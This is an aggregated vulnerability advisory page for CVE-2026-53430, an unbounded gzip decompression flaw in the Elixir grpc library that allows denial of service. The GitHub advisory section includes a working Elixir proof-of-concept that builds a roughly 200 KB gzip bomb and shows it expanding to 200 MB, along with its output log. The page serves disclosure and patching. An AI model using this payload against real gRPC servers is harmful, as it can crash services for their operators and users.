8.7high
grpc gzip decompression bomb in GRPC.Compressor.Gzip.decompress/1
- Severity
- 8.7high CVSS:4.0 by EEF
- Exploit likelihood
- 0.51% (higher than 45% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- EEF
- Also known as
- GHSA-6ccx-9c9f-327wEEF-CVE-2026-53430
Description
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb. This vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines GRPC.Compressor.Gzip.decompress/1, GRPC.Message.from_data/2. GRPC.Compressor.Gzip.decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill. This issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| grpc | from 0.4.0 before 1.0.0 | CVE List |
| grpc_core | from 1.0.0-alfa before 1.0.0 | CVE List |
| elixir-grpc/grpc | from beae6800fc8baf126f3fe7107d86a50e105275ba before 1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc | CVE List |
| grpc (Hex) | from 0.4.0 before 1.0.0 | GitHub Advisory Database, Erlang Ecosystem Foundation |
| grpc_core (Hex) | from 1.0.0-alfa before 1.0.0 | Erlang Ecosystem Foundation |
| https://github.com/elixir-grpc/grpc | from beae6800fc8baf126f3fe7107d86a50e105275ba before 1afbab9d57d2a3e16ca9c62ffa4923338ea96cfc | Erlang Ecosystem Foundation |
All scores
| EEF | 8.7high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Erlang Ecosystem Foundation | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.
What each source says
CVE List
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb. This vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines GRPC.Compressor.Gzip.decompress/1, GRPC.Message.from_data/2. GRPC.Compressor.Gzip.decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill. This issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.
GitHub Advisory Database
Summary
An unauthenticated remote peer can crash any gRPC server built on this library by sending a small gzip-compressed frame that decompresses to gigabytes, exhausting the BEAM node's heap and triggering an OOM kill (denial of service).
Introduced in https://github.com/elixir-grpc/grpc/commit/beae6800fc8baf126f3fe7107d86a50e105275ba
Details
GRPC.Compressor.Gzip.decompress/1 (lib/grpc/compressor/gzip.ex:12-14) calls :zlib.gunzip/1 directly on attacker-controlled bytes with no size limit, no ratio check, and no incremental decoding. Because this module is registered as a GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries grpc-encoding: gzip. :zlib.gunzip/1 allocates the entire decompressed result as a single binary before returning, so a highly compressible payload (e.g. a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single function call. The server's max_receive_message_length is enforced only against the already-decompressed message, so it provides no protection here. A single request is sufficient to OOM-kill the node.
PoC
A script that verifies the vulnerability is attached to the end of this report. Run it against a stock gRPC server using this library; the BEAM node's memory usage will balloon and the VM will be OOM-killed after a single request.
Impact
This is a decompression bomb / denial-of-service vulnerability. Any service that exposes a gRPC endpoint built on this library and accepts gzip-compressed requests is affected. No authentication, prior state, or special configuration is required — the attacker only needs to be able to reach the gRPC port and send a single crafted frame with grpc-encoding: gzip.
Scripts and Logs
# Verifies: Unbounded gzip decompression (decompression bomb)
Mix.install([{:grpc, "~> 0.9"}])
# Build a gzip bomb: 200 MB of zeros compresses to roughly a few hundred KB.
uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))
# Wrap the bomb in a gRPC length-prefixed frame with the "compressed" flag (1)
# set. This is the exact wire shape an outside peer would put on the socket
# for a `grpc-encoding: gzip` message.
frame =
<<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>
IO.puts(
"Compressed bomb: #{byte_size(bomb_payload)} bytes -> claims to expand to #{uncompressed_size} bytes"
)
:erlang.garbage_collect()
mem_before = :erlang.memory(:total)
IO.puts("Memory before: #{div(mem_before, 1024 * 1024)} MB")
# Public entry point: GRPC.Message.from_data/2 is what the server's request
# handling pipeline calls with the raw bytes pulled off an incoming HTTP/2
# DATA frame, once it has resolved the encoding header to a compressor module.
# An outside attacker controls `frame`; the library is the trust boundary.
{:ok, decompressed} =
GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)
mem_after = :erlang.memory(:total)
IO.puts("Memory after: #{div(mem_after, 1024 * 1024)} MB")
IO.puts("Delta: #{div(mem_after - mem_before, 1024 * 1024)} MB")
IO.puts("Decompressed binary size: #{byte_size(decompressed)} bytes")
amplification = byte_size(decompressed) / byte_size(bomb_payload)
IO.puts("Amplification ratio: ~#{Float.round(amplification, 1)}x")
if byte_size(decompressed) == uncompressed_size do
IO.puts(
"VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~#{div(mem_after - mem_before, 1024 * 1024)} MB from a #{div(byte_size(bomb_payload), 1024)} KB attacker payload."
)
else
IO.puts("NOT VERIFIED: decompressed size did not match expected payload")
end
Compressed bomb: 203860 bytes -> claims to expand to 209715200 bytes
Memory before: 45 MB
Memory after: 403 MB
Delta: 358 MB
Decompressed binary size: 209715200 bytes
Amplification ratio: ~1028.7x
VERIFIED: GRPC.Message.from_data/2 fully expanded the gzip bomb with no size cap, growing heap by ~358 MB from a 199 KB attacker payload.
Erlang Ecosystem Foundation
Summary
Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in elixir-grpc grpc (GRPC.Compressor.Gzip, GRPC.Message modules) allows a denial of service via a gzip decompression bomb.
This vulnerability is associated with program files lib/grpc/compressor/gzip.ex, lib/grpc/message.ex and program routines GRPC.Compressor.Gzip.decompress/1, GRPC.Message.from_data/2.
GRPC.Compressor.Gzip.decompress/1 calls :zlib.gunzip/1 directly on attacker-controlled bytes with no decompressed-size limit, ratio check, or incremental decoding. Because this module is the registered gzip GRPC.Compressor implementation, it is invoked automatically whenever an incoming gRPC frame carries the grpc-encoding: gzip header. :zlib.gunzip/1 allocates the entire decompressed result as a single binary, so a small highly compressible payload (for example a few kilobytes of zeros, which gzip compresses at roughly 1000:1) expands to multiple gigabytes inside a single call. The max_receive_message_length limit is enforced only against the already-decompressed message, so it provides no protection. An unauthenticated remote peer can send a single crafted frame to exhaust the BEAM node's heap and trigger an out-of-memory kill.
This issue affects grpc: from 0.4.0 before 1.0.0; grpc_core: from 1.0.0-alfa before 1.0.0.
NVD (es)
Manejo Inadecuado de Datos Altamente Comprimidos (Amplificación de Datos) vulnerabilidad en elixir-grpc grpc (módulos GRPC.Compressor.Gzip, GRPC.Message) permite una denegación de servicio a través de una bomba de descompresión gzip. Esta vulnerabilidad está asociada con los archivos de programa lib/grpc/compressor/gzip.ex, lib/grpc/message.ex y las rutinas de programa ’Elixir.GRPC.Compressor.Gzip’:decompress/1, ’Elixir.GRPC.Message’:from_data/2. ’Elixir.GRPC.Compressor.Gzip’:decompress/1 llama a :zlib.gunzip/1 directamente sobre bytes controlados por el atacante sin límite de tamaño descomprimido, verificación de relación o decodificación incremental. Debido a que este módulo es la implementación registrada de gzip GRPC.Compressor, se invoca automáticamente cada vez que una trama gRPC entrante lleva el encabezado grpc-encoding: gzip. :zlib.gunzip/1 asigna el resultado descomprimido completo como un único binario, por lo que una pequeña carga útil altamente compresible (por ejemplo, unos pocos kilobytes de ceros, que gzip comprime aproximadamente a 1000:1) se expande a múltiples gigabytes dentro de una sola llamada. El límite max_receive_message_length se aplica solo contra el mensaje ya descomprimido, por lo que no proporciona protección. Un par remoto no autenticado puede enviar una única trama manipulada para agotar el heap del nodo BEAM y desencadenar una terminación por falta de memoria. Este problema afecta a grpc: desde 0.4.0 antes de 1.0.0.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-53430 changed 2026-11-20 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6ccx-9c9f-327w changed 2026-08-26 | CC-BY-4.0 |
| Erlang Ecosystem Foundation | EEF-CVE-2026-53430 changed 2026-11-26 | CC-BY-4.0 |
| NVD | CVE-2026-53430 changed 2026-11-20 | Public domain |